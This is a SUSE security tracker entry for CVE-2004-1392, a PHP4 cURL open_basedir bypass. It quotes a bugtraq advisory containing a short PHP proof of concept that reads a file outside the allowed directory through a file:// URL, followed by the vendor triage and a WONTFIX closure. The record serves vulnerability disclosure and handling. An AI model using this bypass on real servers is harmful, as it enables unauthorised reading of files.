Bug 62911 (CVE-2004-1392)

Summary: VUL-0: CVE-2004-1392: php4 open_basedir bypass
Product: [Novell Products] SUSE Security Incidents Reporter: Ludwig Nussel <lnussel>
Component: IncidentsAssignee: Tomas Crhak <tcrhak>
Status: RESOLVED WONTFIX QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium CC: security-team
Version: unspecified   
Target Milestone: ---   
Hardware: All   
OS: Linux   
Whiteboard: CVE-2004-1392: CVSS v2 Base Score: 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Found By: Other Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Description Ludwig Nussel 2004-11-04 00:59:45 UTC
We received the following report via bugtraq.
The issue is public.

I can't judge whether this really a problem. Is open_basedir meant
to restrict php scripts to a specific directory or is it just the
default current directory?

Date: Wed, 27 Oct 2004 18:26:23 +0200
From: FraMe <frame@hispalab.com>
To: bugtraq@securityfocus.com
Subject: PHP4 cURL functions bypass open_basedir

====================================================
Subject: PHP4 cURL functions bypass open_basedir
Author: frame at kernelpanik.org
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL: www.php.net
Tipe: Local
Risk: Low/Medium
=====================================================
 
PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.
 
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
 
== Proof of concept (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>
 
== Demo
$ cat /etc/parla
don't read please!
 
$ links -dump http://localhost/curltest/curl.php
don't read please!

== Release Timeline
No release timeline.
Comment 1 Ludwig Nussel 2004-11-08 22:09:22 UTC
hello? 
Comment 2 Tomas Crhak 2004-11-10 04:21:27 UTC
open_basedir is meant to restrict access to a specific directory.

The recommendation from php developpers:
you need to configure/install curl not to allow access to the local
filesystem. It has a nice configure option for that when you are
installing it.

IMHO this would be a nasty restrict for the curl library.

Note that the open_basedir mechanism cannot restrict all access to
open_basedir, like in passthru('cat /etc/parla').
Comment 3 Ludwig Nussel 2004-11-10 17:46:29 UTC
So this open_basedir is a useless feature anyways. I'll close as WONTFIX. 
Comment 4 Ludwig Nussel 2005-04-29 12:38:46 UTC
CAN-2004-1392 
Comment 5 Thomas Biege 2009-10-13 19:58:21 UTC
CVE-2004-1392: CVSS v2 Base Score: 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)